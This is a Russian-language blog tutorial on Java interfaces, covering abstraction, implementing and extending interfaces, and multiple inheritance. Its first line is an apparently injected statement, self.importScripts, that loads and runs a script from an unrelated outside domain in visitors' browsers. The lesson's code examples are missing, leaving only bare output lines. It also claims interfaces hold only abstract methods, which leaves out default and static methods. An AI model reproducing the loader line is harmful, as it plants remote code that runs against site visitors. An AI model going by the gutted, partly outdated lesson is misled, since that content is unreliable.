google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Интерфейс в Java

Прежде чем изучать интерфейс в Java, вы должны знать об абстракции. Итак, давайте узнаем о том, что такое абстракция.

Абстракция в Java

  • Абстракция - это процесс сокрытия сложности и 
    демонстрации функциональности. Отображение основных данных и скрытие 
    несущественных данных. 
  • Мы можем понять это, взяв пример из реального мира. У нас есть вентилятор в доме, нам просто предоставляют переключатель (функциональность) для включения и выключения вентилятора, мы не знаем, как вентилятор работает на самом деле (сложность). Это прекрасный пример абстракции в Java.

Интерфейс в Java

  • Интерфейс используется для полной реализации 
    абстракции. 
  • Интерфейс содержит только абстрактные методы. Абстрактный метод - 
    это метод без тела. 
  • В интерфейсе по умолчанию все члены данных являются общедоступными, 
    статическими и конечными, тогда как все методы являются публичными и абстрактными. 
  • Интерфейс используется для достижения множественного наследования в Java. 
    Мы обсудим это в этом уроке. 
  • Так же, как и в абстрактном классе, мы не можем создать объект интерфейса.
Мы можем определить интерфейс в Java, используя 
ключевое слово «interface» Простой пример приведен ниже.
Вы должны иметь в виду, что класс реализует другой 
интерфейс, а интерфейс расширяет другой интерфейс.
Интерфейс в Java

Класс реализует другой интерфейс

Выход
интерфейс в Java
В приведенном выше примере мы создали интерфейс и класс. 
Класс реализует интерфейс. Вы можете видеть, что я написал 
ключевое слово public при определении метода show () в классе MyClass. Это потому, что если 
мы не будем писать public, тогда компилятор возьмет «default» в качестве спецификатора доступа по умолчанию 
и выдаст ошибку. Для переопределения метода ребенок должен быть равным или более сильным, 
чем родитель. Здесь parent - это MyInterface, а внутри него указатель доступа метода 
show () является открытым. Таким образом, чтобы сделать метод дочернего класса MyClass равным Parent 
MyInterface, мы написали ключевое слово public при определении метода show ().

Интерфейс расширяет другой интерфейс

Выход
Интерфейс 1 
Интерфейс 2

Множественное наследование в Java

Множественное наследование не может быть достигнуто только с помощью класса, но 
это может быть легко достигнуто с помощью интерфейса. Это можно сделать следующим образом.
Выход
Множественное наследование в Java
В приведенном выше примере вы можете видеть, что MyClass реализует 
два интерфейса одновременно, так что это пример множественного наследования в 
Java.
Это было все об интерфейсе в Java. В следующем уроке я 
расскажу о разнице между абстрактным классом и интерфейсом. Если вы 
обнаружите что-то неправильное или у вас возникнут сомнения относительно вышеупомянутого учебника, пожалуйста, сообщите 
об этом, комментируя ниже.

Комментариев нет:

Отправить комментарий